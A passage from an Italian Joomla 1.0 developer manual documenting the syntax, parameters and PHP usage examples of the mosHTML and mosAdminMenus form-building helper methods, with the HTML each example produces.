10  <option value="09">Settembre</option>
11  <option value="10">Ottobre</option>
12  <option value="11">Novembre</option>
13  <option value="12">Dicembre</option>
14 </select>
```

A.8 Metodo `PrintIcon()`

Visualizza un'icona di stampa; il testo alternativo all'icona è preso dalla lingua corrente. La sintassi è la seguente:

```
1 void PrintIcon(int &$row, object &$params, boolean $hide_js, string $link [, string $status= ↵
   ↵ null]);
```

Listato 180: Sintassi `mosHTML::PrintIcon`

I cui parametri sono:

`$row` indice di riga; il parametro non è utilizzato ma è presente per motivi di compatibilità

`$params` rappresenta un oggetto di classe `mosParameters`. Se `$params->get('print')` restituisce `false` (ossia Joomla ha disabilitato le funzionalità di stampa) non verrà prodotto alcun output ; se `$params->get('popup')` restituisce `true` l'icona sarà di stampa, altrimenti sarà di anteprima

`$hide_js` se vale `true` non verrà prodotto alcun output

`$link` indirizzo URI³¹ completo della risorsa da stampare o di cui visualizzare l'anteprima

`$status` stringa contenente i parametri di configurazione del popup, usati dalla funzione JavaScript `window.open()`. E' opzionale ed il default è:

```
1 "status=no, toolbar=no, scrollbars=yes, titlebar=no, menubar=no, resizable=yes ↵
   ↵ , width=640, height=480, directories=no, location=no"
```

Vediamo un esempio per la creazione di un'icona di stampa:

```
1 global $mosConfig_live_site;
2
3 // crea un nuovo parametro vuoto
4 $params = & new mosParameters("");
5
6 // vengono verificati ed eventualmente impostati i 2 parametri "print" e "popup"
7 $params->def('print', true);
8 $params->def('popup', true);
9
10 // indirizzo della pagina da stampare cliccando sull'icona
11 $url = $mosConfig_live_site . '/index2.php?option=com_content&task=view&id=' . $row->id . ↵
   ↵ '&Itemid=' . $Itemid;
12
13 // visualizza l'icona
14 mosHTML::PrintIcon($row, $params, true, $url);
```

A.9 Metodo `radioList()`

Metodo per visualizzare dei pulsanti di scelta mutuamente esclusivi (*radio button*). La sintassi è la seguente:

```
1 string radioList(array &$arr, string $tag_name, string $tag_attribs [, mixed $selected=null [, ↵
   ↵ string $key="value" [, string $text="text"]]]);
```

Listato 181: Sintassi `mosHTML::radioList`

I cui parametri sono:

`$arr` array di oggetti restituito da una query o dal metodo `makeOption`

`$tag_name` nome del componente HTML

`$tag_attribs` stringa contenente attributi aggiuntivi per l'elemento HTML

`$selected` stringa che rappresenta il valore selezionato di default; in caso di multiselezione, è un array

`$key` nome della variabile di classe per l'attributo *value*; se omesso vale "value"

`$text` nome della variabile di classe per l'attributo *text*; se omesso vale "text"

³¹Uniform Resource Identifier

Vediamo un esempio:

```

1 // creo le opzioni
2 $lista = array();
3 $lista [] = mosHTML::makeOption("Verde");
4 $lista [] = mosHTML::makeOption("Rosso");
5 $lista [] = mosHTML::makeOption("Bianco");
6
7 // visualizza il componente
8 $html = mosHTML::radioList($lista, 'colore', 'class="inputbox"', 'Rosso');
9 echo $html;
```

che produce il codice HTML:

```

1 <input type="radio" name="colore" id="coloreVerde" value="Verde" class="inputbox" />
2 <label for="coloreVerde">Verde</label>
3 <input type="radio" name="colore" id="coloreRosso" value="Rosso" class="inputbox" />
4 <label for="coloreRosso">Rosso</label>
5 <input type="radio" name="colore" id="coloreBianco" value="Bianco" class="inputbox" />
6 <label for="coloreBianco">Bianco</label>
```

A.10 Metodo `selectList()`

Visualizza una casella combinata `<select>` a partire da un array contenente le varie voci. Il metodo supporta sia la selezione singola che la multiselezione. La sintassi è la seguente:

```

1 string selectList (array &$options, string $tag_name, string $tag_attris, string $key, string ↵
   ↵ $text [, mixed $selected=null]);
```

Listato 182: Sintassi `mosHTML::selectList`

I cui parametri sono:

`$options` array di oggetti contenente le varie voci, ottenibile da una query o dal metodo `makeOption`

`$tag_name` nome del componente HTML `<select>`

`$tag_attris` stringa contenente attributi aggiuntivi per l'elemento HTML

`$key` nome della variabile di classe per l'attributo `value`; di solito vale `"value"`

`$text` nome della variabile di classe per l'attributo `text`; di solito vale `"text"`

`$selected` stringa che rappresenta il valore selezionato di default; in caso di multiselezione, è un array

Vediamo un esempio di casella combinata a singola selezione:

```

1 // opzioni della casella combinata
2 $colori = array();
3 $colori [] = mosHTML::makeOption( '0', 'Rosso');
4 $colori [] = mosHTML::makeOption( '1', 'Bianco');
5 $colori [] = mosHTML::makeOption( '2', 'Verde');
```

```

6
7 $html = mosHTML::selectList($colori, 'colori', 'size="1" class="inputbox"', 'value', 'text ↵
    ↵ ', 0);
8 echo $html;

```

che produce il codice HTML:

```

1 <select name="colori" size="1" class="inputbox">
2   <option value="0" selected>Rosso</option>
3   <option value="1">Bianco</option>
4   <option value="2">Verde</option>
5 </select>

```

Vediamo un altro esempio, ma con la selezione multipla:

```

1 $utenti = array();
2 // viene creata un'opzione
3 $utenti[] = mosHTML::makeOption('0', '- Nessun utente -');
4
5 // vengono recuperati tutti gli utenti ed inseriti nell'array delle opzioni
6 $database->setQuery("SELECT id AS value, username AS text FROM #__users");
7 $utenti = array_merge($utenti, $database->loadObjectList());
8
9 // vengono recuperati gli utenti da selezionare da un'ipotetica tabella
10 $database->setQuery("SELECT id AS value FROM #__users_selected");
11 $selected = $database->loadObjectList();
12
13 // visualizza la casella combinata; da notare l'attributo HTML 'multiple="true"'
14 $html = mosHTML::selectList($utenti, 'userId', 'size="10" class="inputbox" multiple=" ↵
    ↵ true"', 'value', 'text', $selected);
15 echo $html;

```

che produce il codice HTML:

```

1 <select name="userId" size="10" class="inputbox" multiple="true">
2   <option value="0">- Nessun utente -</option>
3   <option value="1">Mario Rossi</option>
4   <option value="2" selected>Paolo Bianchi</option>
5   <option value="3">Andrea Verdi</option>
6   <option value="4" selected>Massimo Aranci</option>
7   <option value="5">Michele Neri</option>
8 </select>

```

A.11 Metodo `sortIcon()`

Visualizza un'icona cliccabile di ordinamento. Il testo alternativo viene prelevato dalla lingua corrente. La sintassi è la seguente:

```

1 string sortIcon(string $base_href, string $field [, string $state="none"]);

```

Listato 183: Sintassi `mosHTML::sortIcon`

I cui parametri sono:

`$base_href` URL usato quando si clicca sull'icona

`$field` nome del campo su cui si è ordinato

`$state` stato corrente dell'ordinamento. E' opzionale ed il default è `none`. Può assumere i seguenti valori:

none il campo non è ordinato; cliccando sull'icona verrà richiesto un ordinamento crescente

asc il campo è in ordine crescente; cliccando sull'icona verrà richiesto un ordinamento decrescente

desc il campo è in ordine decrescente; cliccando sull'icona verrà richiesto un ordinamento crescente

Vediamo un esempio tratto dal componente `com_statistics`:

```

1 // viene recuperato il campo di ordinamento e confrontato con i valori ammessi "agent" e "hits"
2 $field = strtolower(mosGetParam($_REQUEST, 'field', ''));
3 if (!in_array($field, array('agent', 'hits')))
4     $field = '';
5
6 // viene recuperata la direzione dell'ordinamento e settata ad "asc" se mancante
7 $order = strtolower(mosGetParam($_REQUEST, 'order', 'asc'));
8
9 // controllo sul tipo di ordinamento
10 if ($order != 'asc' && $order != 'desc' && $order != 'none')
11     $order = 'asc';
12 else if ($order == 'none') {
13     $field = 'agent';
14     $order = 'asc';
15 }
16
17 // definizione di alcune variabili
18 $order_by = '';
19 $sorts = array();
20 $sort_base = "index2.php?option=$option&task=$task";
21
22 switch($field) {
23     case 'hits':
24         $order_by = "hits $order";
25         $sorts['agent'] = mosHTML::sortIcon($sort_base, "agent");
26         $sorts['hits'] = mosHTML::sortIcon($sort_base, "hits", $order);
27         break;
28     case 'agent':
29     default:
30         $order_by = "agent $order";
31         $sorts['agent'] = mosHTML::sortIcon($sort_base, "agent", $order);
32         $sorts['hits'] = mosHTML::sortIcon($sort_base, "hits");
33         break;
34 }
35
36 // vengono recuperati i record da visualizzare

```

```

37 $database->setQuery("SELECT * " .
38     "FROM #__stats_agents " .
39     "WHERE type='0' " .
40     "ORDER BY $order_by");
41 $agents = $database->loadObjectList();

```

A.12 Metodo `treeSelectList()`

Visualizza una casella combinata le cui voci rappresentano una gerarchia ad albero. La sintassi è la seguente:

```

1 string treeSelectList(array &$src_list, int $src_id, array $tgt_list, string $tag_name, string ↵
    ↵ $tag_attris, string $key, string $text, mixed $selected);

```

Listato 184: Sintassi `mosHTML::treeSelectList`

I cui parametri sono:

`$src_list` array di oggetti restituiti da una query o dal metodo `makeOption()`; ogni oggetto deve contenere le proprietà `id` e `parent`

`$src_id` id dell'elemento corrente della lista

`$tgt_list` array di oggetti usati per precaricare la lista, restituiti da una query o dal metodo `makeOption()`; l'array può essere vuoto

`$tag_name` nome del componente HTML `<select>`

`$tag_attris` stringa contenente attributi aggiuntivi per l'elemento HTML

`$key` nome della variabile di classe per l'attributo `value`; di solito vale `"value"`

`$text` nome della variabile di classe per l'attributo `text`; di solito vale `"text"`

`$selected` stringa che rappresenta il valore selezionato di default; in caso di multiselezione, è un array

Vediamo un esempio di casella combinata a selezione singola:

```

1 // recupera i record dal database
2 $query = "SELECT * FROM #__menu WHERE menutype='mainmenu' ORDER BY ordering";
3 $database->setQuery($query);
4 $src_list = $database->loadObjectList();
5
6 // crea le opzioni selezionate
7 $selected = array();
8 $selected [] = mosHTML::makeOption('2');
9
10 // visualizza la casella combinata
11 echo mosHTML::treeSelectList(&$src_list, 1, array(), 'cid', 'class="inputbox" size="1"', ' ↵
    ↵ value', 'text', $selected);

```

che produce il codice HTML:

```

1 <select name="cid" class="inputbox" size="1">
2   <option value="33">Licenza Joomla</option>
3   <option value="2" selected>Ultime notizie</option>
4   <option value="48">. <sup>L</sup> Sottomenu 1</option>
5   <option value="49">. <sup>L</sup> Sottomenu 2</option>
6   <option value="39">Blog</option>
7   <option value="4">Links</option>
8   <option value="3">Contattaci</option>
9   <option value="27">Cerca</option>
10 </select>

```

Vediamo un altro esempio di casella a selezione multipla:

```

1 // recupera i record dal database
2 $query = "SELECT * FROM #__menu WHERE menutype='mainmenu' ORDER BY ordering";
3 $database->setQuery( $query );
4 $src_list = $database->loadObjectList();
5
6 $tgt_list = array();
7 $tgt_list [] = mosHTML::makeOption('0', '- Seleziona una o più voci di menu -');
8
9 $selected = array();
10 $selected [] = mosHTML::makeOption('2');
11 $selected [] = mosHTML::makeOption('4');
12 echo mosHTML::treeSelectList(&$src_list, 1, $tgt_list, 'cid', 'class="inputbox" size="10"
    ↳ multiple="true"', 'value', 'text', $selected);

```

che produce il codice HTML:

```

1 <select name="cid" class="inputbox" size="10" multiple="true">
2   <option value="0">- Seleziona una o più voci di menu -</option>
3   <option value="33">Licenza Joomla</option>
4   <option value="2" selected>Ultime notizie</option>
5   <option value="48">. <sup>L</sup> Sottomenu 1</option>
6   <option value="49">. <sup>L</sup> Sottomenu 2</option>
7   <option value="39">Blog</option>
8   <option value="4" selected>Links</option>
9   <option value="3">Contattaci</option>
10  <option value="27">Cerca</option>
11 </select>

```

A.13 Metodo `yesnoRadioList()`

Metodo che visualizza una casella *di scelta* (con opzioni mutuamente esclusive) del tipo *Sì/No*; i termini *Sì/No* vengono presi dalla lingua corrente. Il componente HTML restituisce il valore 0 se viene selezionato *No*, altrimenti restituisce 1. La sintassi è la seguente:

```

1 string yesnoRadioList(string $tag_name, string $tag_attribs, mixed $selected [, string $yes=
    ↳ _CMN_YES [, string $no=_CMN_NO]]);

```

Listato 185: Sintassi `mosHTML::yesnoRadioList`

I cui parametri sono:

`$tag_name` nome del componente HTML `<select>`, usato per recuperare il valore

`$tag_attribs` stringa contenente attributi aggiuntivi per l'elemento HTML

`$selected` valore selezionato di default: 0 per *No* e 1 per *Sì*

`$yes` stringa visualizzata al posto di *Sì*; se omesso viene visualizzato *Sì* nella lingua corrente

`$no` stringa visualizzata al posto di *No*; se omesso viene visualizzato *No* nella lingua corrente

Vediamo un semplice esempio di una casella *Sì/No*:

```
1 $html = mosHTML::yesnoRadioList('scelta', 'class="inputbox"', '0');
2 echo $html;
```

che produce il codice HTML:

```
1 <input type="radio" name="scelta" value="0" class="inputbox" checked />No
2 <input type="radio" name="scelta" value="1" class="inputbox" />Sì
```

Vediamo un altro esempio con le voci personalizzate:

```
1 $html = mosHTML::yesnoRadioList('scelta', 'class="inputbox"', '1', 'Attiva', 'Disattiva');
2 echo $html;
```

che produce il codice HTML:

```
1 <input type="radio" name="scelta" value="0" class="inputbox" />Disattiva
2 <input type="radio" name="scelta" value="1" class="inputbox" checked />Attiva
```

A.14 Metodo `yesnoSelectList()`

Metodo simile a `yesnoRadioList` che visualizza una casella *combinata* del tipo *Sì/No*; i termini *Sì/No* vengono presi dalla lingua corrente. Il componente HTML restituisce il valore 0 se viene selezionato *No*, altrimenti restituisce 1. La sintassi è la seguente:

```
1 string yesnoSelectList(string $tag_name, string $tag_attribs, mixed $selected [, string $yes= ↵
    ↵ _CMN_YES [, string $no=_CMN_NO]);
```

Listato 186: Sintassi `mosHTML::yesnoSelectList`

I cui parametri sono:

`$tag_name` nome del componente HTML `<select>`

`$tag_attribs` stringa contenente attributi aggiuntivi per l'elemento HTML

`$selected` valore selezionato di default: 0 per *No* e 1 per *Sì*. Per le selezioni multiple è un array

`$yes` stringa visualizzata al posto di *Sì*; se omesso viene visualizzato *Sì* nella lingua corrente

`$no` stringa visualizzata al posto di *No*; se omesso viene visualizzato *No* nella lingua corrente

Vediamo un semplice esempio di una casella *Sì/No*:

```
1 $html = mosHTML::yesnoSelectList('scelta', 'class="inputbox"', '0');  
2 echo $html;
```

che produce il codice HTML:

```
1 <select name="scelta" class="inputbox">  
2   <option value="0" selected>No</option>  
3   <option value="1">Sì</option>  
4 </select>
```

Vediamo un altro esempio con le voci personalizzate:

```
1 $html = mosHTML::yesnoSelectList('scelta', 'class="inputbox"', '1', 'Attiva', 'Disattiva');  
2 echo $html;
```

che produce il codice HTML:

```
1 <select name="scelta" class="inputbox">  
2   <option value="0">Disattiva</option>  
3   <option value="1" selected>Attiva</option>  
4 </select>
```

A.15 Metodo `cleanText()`

```
1 string cleanText(string &$text);
```

Listato 187: Sintassi `cleanText`

Metodo che ripulisce la stringa passata come argomento, da ogni tag di formattazione e codice. Restituisce la stringa ripulita.

B Classe mosAdminMenus

La classe `mosAdminMenus` è stata sviluppata per inserire alcuni tipi di campi modulo, all'interno dei componenti. Ad esempio, la casella combinata per stabilire l'ordine dei record; oppure quella per impostare il livello di accesso; o ancora la casella combinata con l'elenco delle immagini contenute in una determinata cartella.

E' costituita da numerosi metodi, ciascuno dei quali responsabile della creazione di un elemento HTML. Tutti i metodi che verranno presentati hanno la particolarità di essere *statici* e come tali non richiedono di istanziare un oggetto di classe `mosAdminMenus`, ma vengono invocati direttamente con `mosAdminMenus::nomeMetodo()`.

Si fa notare che tale classe potrebbe essere completamente sostituita nella nuova versione di Joomla 1.5, pertanto le informazioni che verranno ora fornite potrebbero essere limitate alla sola versione 1.0.

B.1 Metodo Ordering()

```
1 string Ordering(object &$row, int $id);
```

Listato 188: Sintassi `mosAdminMenus::Ordering`

Per capirne il funzionamento è necessario vedere i suoi parametri:

`$row` rappresenta la voce di un menu di Joomla, ossia un record della tabella `#__menu`

`$id` è un flag e ne viene testata solamente l'uguaglianza o meno con `null`

Il metodo visualizza una casella combinata, chiamata `ordering`, contenente tutte le voci del menu genitore di `$row` (ossia `mainmenu`, `topmenu`, ...) ai fini della scelta dell'ordinamento delle varie voci. Tale casella presenta già selezionata a priori la voce di menu rappresentata da `$row`. Nel caso in cui il parametro `$id` sia `null`, verrà restituito un campo `hidden` con il valore di `$row->ordering`.

```
1 $database->setQuery("SELECT * FROM #__menu WHERE id=2");
2 $database->loadObject($row);
3
4 echo mosAdminMenus::Ordering($row, $row->id);
```

Per vederne il funzionamento, è sufficiente cliccare sul menu `Menu` → `mainmenu`³² e cliccare su una voce a scelta. La casella combinata restituita dal presente metodo è la stessa del campo *Ordinamento*.

B.2 Metodo Access()

```
1 string Access(object &$row);
```

Listato 189: Sintassi `mosAdminMenus::Access`

³²o su uno degli altri menu di Joomla

Visualizza una casella combinata espansa, chiamata `access`, con l'elenco dei livelli di accesso: *Public*, *Registered* e *Special*.

Il parametro `$row` rappresenta una voce di menu e viene utilizzato per preselezionare il valore della casella combinata, analogamente al metodo `Ordering()` (vedi B.1).

```
1 $database->setQuery("SELECT * FROM #__menu WHERE id=2");
2 $database->loadObject($row);
3
4 echo mosAdminMenus::Access($row);
```

Per vederne il funzionamento, è sufficiente cliccare sul menu *Menu*→*mainmenu* e cliccare su una voce a scelta. La casella combinata restituita dal presente metodo è la stessa del campo *Livello accesso*.

B.3 Metodo Parent()

```
1 string Parent(object &$row);
```

Listato 190: Sintassi `mosAdminMenus::Parent`

Visualizza una casella combinata espansa, chiamata `parent`, con l'elenco delle voci del menu genitore di `$row`, al fine di stabilirne l'*item parent*.

Il parametro `$row` rappresenta una voce di menu e viene utilizzato per escludere la voce dall'elenco.

```
1 $database->setQuery("SELECT * FROM #__menu WHERE id=2");
2 $database->loadObject($row);
3
4 echo mosAdminMenus::Parent($row);
```

Per vederne il funzionamento, è sufficiente cliccare sul menu *Menu*→*mainmenu* e cliccare su una voce a scelta. La casella combinata restituita dal presente metodo è la stessa del campo *Parent item*.

B.4 Metodo Published()

```
1 string Published(object &$row);
```

Listato 191: Sintassi `mosAdminMenus::Published`

Visualizza una casella radio, chiamata `published`, con le due voci *Sì* e *No*, al fine di impostare la pubblicazione della voce di menu.

Il parametro `$row` rappresenta una voce di menu e viene utilizzato per preselezionare il valore della casella.

```
1 $database->setQuery("SELECT * FROM #__menu WHERE id=2");
2 $database->loadObject($row);
3
4 echo mosAdminMenus::Published($row);
```

Per vederne il funzionamento, è sufficiente cliccare sul menu *Menu*→*mainmenu* e cliccare su una voce a scelta. La casella combinata restituita dal presente metodo è la stessa del campo *Pubblicazione*.

B.5 Metodo Link()

```
1 string Link(object &$row, int $id[, string $link=null]);
```

Listato 192: Sintassi mosAdminMenus::Link

Il metodo restituisce una stringa rappresentante il link associato alla voce di menu passata come argomento. Per capirne il funzionamento è necessario vedere i suoi parametri:

`$row` rappresenta la voce di un menu di Joomla, ossia un record della tabella `#__menu`

`$id` è un flag e ne viene testata solamente l'uguaglianza o meno con `null`

`$link` è un flag e ne viene testata solamente l'uguaglianza o meno con `null`

Il metodo verifica innanzitutto il tipo della voce di menu `$row`. Nei casi in cui il menu sia di tipo `content_item_link` o `content_typed`, il link viene generato internamente al metodo ed il parametro `$link` non viene utilizzato; altrimenti viene restituito il valore `$row->link`, unitamente all'utilizzo del parametro `$link`.

Se il parametro `link` è diverso da `null`, il metodo aggiunge il campo `Itemid=$row->id` al link. Se il parametro `id` vale `null`, il metodo restituisce direttamente `null`.

Per vederne il funzionamento, è sufficiente cliccare sul menu *Menu*→*mainmenu* e cliccare su una voce a scelta. La casella combinata restituita dal presente metodo è la stessa del campo *Url*.

B.6 Metodo Target()

```
1 string Target(object &$row);
```

Listato 193: Sintassi mosAdminMenus::Target

Visualizza una casella combinata espansa, chiamata `browserNav`, con l'elenco dei target di un link HTML: *Stessa finestra con navigatore browser*, *Nuova finestra con navigatore browser*, *Nuova finestra senza navigatore browser*.

Il parametro `$row` rappresenta una voce di menu e viene utilizzato per preselezionare il valore della casella combinata, analogamente al metodo `Ordering()` (vedi B.1).

```
1 $database->setQuery("SELECT * FROM #__menu WHERE id=2");
2 $database->loadObject($row);
3
4 echo mosAdminMenus::Target($row);
```

Per vederne il funzionamento, è sufficiente cliccare sul menu *Menu*→*mainmenu* e cliccare su una voce di tipo *Collegamento - contenuto statico*. La casella combinata restituita dal presente metodo è la stessa del campo *Al Click, apri in*.

B.7 Metodo MenuLinks()

```
1 string MenuLinks(object &$lookup[, int $all=null[, int $none=null[, int $unassigned=1]]]);
```

Listato 194: Sintassi mosAdminMenus::MenuLinks

Visualizza una casella combinata espansa, chiamata `selections[]`, con l'elenco di tutte le voci di tutti i menu, al fine di associare un modulo ad una determinata sezione del sito, per la sua visualizzazione. I parametri sono:

`$lookup` rappresenta le sezioni del sito associate al modulo

`$all` flag che stabilisce se visualizzare l'elemento **Tutti**

`$none` flag che stabilisce se visualizzare l'elemento **Nessuno**

`$unassigned` flag che stabilisce se visualizzare l'elemento **Non assegnato**³³

Le informazioni che legano i moduli ai menu sono contenute nella tabella `#__modules_menu`.

```
1 // recupero dei menu associati al modulo; il campo DEVE chiamarsi 'value'
2 $database->setQuery("SELECT menuid AS value FROM #__modules_menu WHERE moduleid=6");
3 $lookup = $database->loadObjectList();
4
5 echo mosAdminMenus::MenuLinks($lookup, 1, 1);
```

Per vederne il funzionamento, è sufficiente cliccare sul menu *Moduli* → *Moduli del sito* e cliccare su un modulo a scelta. La casella combinata restituita dal presente metodo è la stessa del campo *Voci di menu*.

B.8 Metodo Category()

```
1 string Category(object &$menu, int $id[, string $javascript='']);
```

Listato 195: Sintassi mosAdminMenus::Category

Visualizza una casella combinata espansa, chiamata `componentid`, con l'elenco delle *categorie* di notizie presenti in Joomla. I suoi parametri sono:

`$menu` rappresenta una voce di menu, generalmente di tipo *Tabella - Contenuto Categoria*

`$id` flag per discriminare se la voce di menu è già stata associata ad una categoria

`$javascript` codice Javascript personalizzato da associare alla casella combinata, nel caso in cui `$id` sia null

Se `$id` vale null viene restituita la casella combinata di cui sopra, unitamente al campo nascosto `link`, senza valore.

Altrimenti viene restituito il nome della categoria³⁴ unitamente ai campi nascosti `componentid` e `link`, i cui valori sono rappresentati rispettivamente da `$menu->componentid` e `$menu->link`.

³³ma un bug ne impedisce il corretto funzionamento

³⁴nella forma *Nome Sezione / Nome Categoria*

```

1 $database->setQuery("SELECT * FROM #__menu WHERE id=25");
2 $database->loadObject($row);
3
4 echo mosAdminMenus::Category($row, 1);

```

Per vederne il funzionamento, è sufficiente cliccare sul menu *Menu*→*mainmenu* e cliccare su una voce di tipo *Tabella - Contenuto Categoria*; il testo restituito dal presente metodo è lo stesso del campo *Categoria*.

Oltre a questo, provare a creare una nuova voce di menu di tipo *Tabella - Contenuto Categoria*, per vedere la casella combinata *Categoria*.

B.9 Metodo Section()

```

1 string Section(object &$menu, int $id[, int $all=0]);

```

Listato 196: Sintassi mosAdminMenus::Section

Visualizza una casella combinata espansa, chiamata **componentid**, con l'elenco delle *sezioni* di notizie presenti in Joomla. I suoi parametri sono:

\$menu rappresenta una voce di menu, generalmente di tipo *Lista - Contenuto Sezione*

\$id flag per discriminare se la voce di menu è già stata associata ad una sezione

\$all flag che stabilisce se visualizzare l'elemento **Tutte le sezioni**

Se **\$id** vale **null** viene restituita la casella combinata di cui sopra, unitamente al campo nascosto **link**, senza valore.

Altrimenti viene restituito il nome della sezione, unitamente ai campi nascosti **componentid** e **link**, i cui valori sono rappresentati da **\$menu->componentid** e **\$menu->link**.

```

1 $database->setQuery("SELECT * FROM #__menu WHERE id=2");
2 $database->loadObject($row);
3
4 echo mosAdminMenus::Section($row, 1);

```

Per vederne il funzionamento, è sufficiente cliccare sul menu *Menu*→*mainmenu* e cliccare su una voce di tipo *Lista - Contenuto Sezione*; il testo restituito dal presente metodo è lo stesso del campo *Sezione*.

Oltre a questo, provare a creare una nuova voce di menu di tipo *Lista - Contenuto Sezione*, per vedere la casella combinata *Sezione*.

B.10 Metodo Component()

```

1 string Component(object &$menu, int $id);

```

Listato 197: Sintassi mosAdminMenus::Component

Visualizza una casella combinata espansa, chiamata **componentid**, con l'elenco dei componenti presenti in Joomla. I suoi parametri sono:

`$menu` rappresenta una voce di menu, generalmente di tipo *Componente*

`$id` flag per discriminare se la voce di menu è già stata associata ad un componente

Se `$id` vale `null` viene restituita la casella combinata di cui sopra.

Altrimenti viene restituito il nome del componente associato, unitamente al campo nascosto `componentid`, il cui valore è rappresentato da `$menu->componentid`.

```
1 $database->setQuery("SELECT * FROM #__menu WHERE id=3");
2 $database->loadObject($row);
3
4 echo mosAdminMenus::Component($row, 1);
```

Per vederne il funzionamento, è sufficiente cliccare sul menu *Menu* → *mainmenu* e cliccare su una voce di tipo *Componente*; il testo restituito dal presente metodo è lo stesso del campo *Componente*.

Oltre a questo, provare a creare una nuova voce di menu di tipo *Componente*, per vedere la casella combinata *Componente*.

B.11 Metodo `ComponentName()`

```
1 string ComponentName(object &$menu, int $id);
```

Listato 198: Sintassi `mosAdminMenus::ComponentName`

Restituisce il nome del componente associato al menu (di tipo *Componente*) passato come argomento.

Il parametro `$id`, pur essendo obbligatorio, non è utilizzato dal metodo.

B.12 Metodo `Images()`

```
1 string Images(string $name, mixed &$active[, string $javascript=NULL[, string $directory= ↵
↵ NULL]]);
```

Listato 199: Sintassi `mosAdminMenus::Images`

Visualizza una casella combinata, con l'elenco dei nomi dei file immagine di Joomla. I suoi parametri sono:

`$name` nome della casella combinata

`$active` array di oggetti con le immagini associate ad un qualche elemento

`$javascript` codice Javascript personalizzato da associare alla casella combinata

`$directory` directory delle immagini da esaminare; se omissso vale `/images/stories`

Gli oggetti dell'array `$active` devono possedere un unico campo `value`, contenente il nome del file.

```

1 $database->setQuery("SELECT image AS value FROM #__sections WHERE id=1");
2 $row = $database->loadObjectList();
3
4 echo mosAdminMenus::Component("immagini", $row);

```

Per vederne il funzionamento, ad esempio, è sufficiente cliccare sul menu *Contenuti* → *Gestione sezioni* e cliccare su una sezione; la casella restituita dal presente metodo è la stessa del campo *Immagine*.

B.13 Metodo `SpecificOrdering()`

```

1 function SpecificOrdering(object &$row, int $id, string $query, int $neworder=0);

```

Listato 200: Sintassi `mosAdminMenus::SpecificOrdering`

Visualizza una casella combinata, chiamata `ordering`, con un elenco di voci, al fine di selezionare la posizione del nuovo elemento rispetto a tali voci. I suoi parametri sono:

`$row` è un oggetto qualsiasi contenente il campo `ordering`

`$id` flag che stabilisce se l'elemento da posizionare possiede già una posizione (e quindi una voce da selezionare nella casella combinata) o meno; se vale `$null` viene considerato anche il parametro `$neworder`

`$query` query SQL che recupera tutti i valori da inserire nella casella combinata; i risultati devono possedere i due campi `value` e `text`

`$neworder` flag che stabilisce quale messaggio visualizzare nel caso in cui `$id` sia `null`; se `$id` è diverso da `null`, viene ignorato. I due messaggi che possono essere visualizzati sono: *I nuovi oggetti assumono di default l'ultima posizione* (`$neworder=1`) oppure *I nuovi oggetti assumono di default la prima posizione* (`$neworder=0`)

L'esempio che segue mostra un caso riferito all'ordinamento delle voci del *mainmenu*:

```

1 // si recupera una voce del mainmenu
2 $database->setQuery("SELECT * FROM #__menu WHERE id=2");
3 $database->loadObject($row);
4
5 echo mosAdminMenus::SpecificOrdering($row, 1, "SELECT ordering AS value, name AS text
  ↳ FROM #__menu WHERE menutype='mainmenu'");

```

B.14 Metodo `UserSelect()`

```

1 function UserSelect(string $name, mixed $active[, int $nouser=0[, string $javascript=NULL[,
  ↳ string $order='name'[, int $reg=1]]]]);

```

Listato 201: Sintassi `mosAdminMenus::UserSelect`

Visualizza una casella combinata contenente l'elenco degli utenti non bloccati. I suoi parametri sono:

`$name` nome della casella combinata

`$active` array di oggetti (o singolo oggetto) contenente gli `id` da preselezionare nella casella; gli oggetti devono avere un campo `value` corrispondente all'id dell'utente

`$nouser` flag che stabilisce se visualizzare l'elemento `Nessun utente`

`$javascript` codice Javascript personalizzato da associare alla casella combinata

`$order` campo della tabella `#__users` in base a cui ordinare gli utenti

`$reg` flag che stabilisce se escludere (`$reg=1`) dall'elenco gli utenti registrati, oppure no (`$reg=0`)

```
1 echo mosAdminMenus::UserSelect("utenti", 0, 1, "", "name", 1);
```

B.15 Metodo `Positions()`

```
1 function Positions(string $name[, mixed $active=NULL[, string $javascript=NULL[, int $none ←
  ← =1[, int $center=1[, int $left=1[, int $right=1]]]]]);
```

Listato 202: Sintassi `mosAdminMenus::Positions`

Visualizza una casella combinata contenente un elenco di posizioni, di solito usato per le immagini. I suoi parametri sono:

`$name` nome della casella combinata

`$active` array di oggetti (o singolo oggetto) contenente gli `id` da preselezionare nella casella; gli oggetti devono avere un campo `value` corrispondente al codice dell'ordinamento

`$javascript` codice Javascript personalizzato da associare alla casella combinata

`$none` flag che stabilisce se visualizzare l'elemento `Nessuno`

`$center` flag che stabilisce se visualizzare l'elemento `Al centro`

`$left` flag che stabilisce se visualizzare l'elemento `Sinistra`

`$right` flag che stabilisce se visualizzare l'elemento `Destra`

I valori restituiti dalla casella combinata sono: `""` (stringa vuota per *nessun ordinamento*), `center`, `left` e `right`.

```
1 echo mosAdminMenus::Positions("pos");
```

B.16 Metodo ComponentCategory()

```
1 function ComponentCategory(string $name, string $section[, mixed $active=NULL[, string ↵
    ↵ $javascript=NULL[, string $order='ordering', int $size=1[, int $sel_cat=1]]]]);
```

Listato 203: Sintassi mosAdminMenus::ComponentCategory

Visualizza una casella combinata contenente l'elenco delle categorie pubblicate, appartenenti ad una determinata sezione. I suoi parametri sono:

`$name` nome della casella combinata

`$section` nome o id della sezione di cui visualizzare le categorie

`$active` array di oggetti (o singolo oggetto) contenente gli `id` da preselezionare nella casella; gli oggetti devono avere un campo `value` corrispondente all'id della categoria

`$javascript` codice Javascript personalizzato da associare alla casella combinata

`$order` campo della tabella `#__categories` in base a cui ordinare le categorie

`$size` numero di elementi da visualizzare contemporaneamente nella casella combinata

`$sel_cat` flag che stabilisce se visualizzare l'elemento `Seleziona categoria`

I valori restituiti dalla casella combinata sono gli `id` delle categorie.

```
1 echo mosAdminMenus::ComponentCategory("cat", 1, 0, "", "ordering", 3, 0);
```

B.17 Metodo SelectSection()

```
1 function SelectSection(string $name[, mixed $active=NULL[, string $javascript=NULL[, string ↵
    ↵ $order='ordering']]]);
```

Listato 204: Sintassi mosAdminMenus::SelectSection

Visualizza una casella combinata contenente l'elenco delle sezioni pubblicate. I suoi parametri sono:

`$name` nome della casella combinata

`$active` array di oggetti (o singolo oggetto) contenente gli `id` da preselezionare nella casella; gli oggetti devono avere un campo `value` corrispondente all'id della sezione

`$javascript` codice Javascript personalizzato da associare alla casella combinata

`$order` campo della tabella `#__sections` in base a cui ordinare le sezioni

I valori restituiti dalla casella combinata sono gli `id` delle categorie.

```
1 echo mosAdminMenus::SelectSection("sec", 0, "", "name");
```

B.18 Metodo Links2Menu()

```
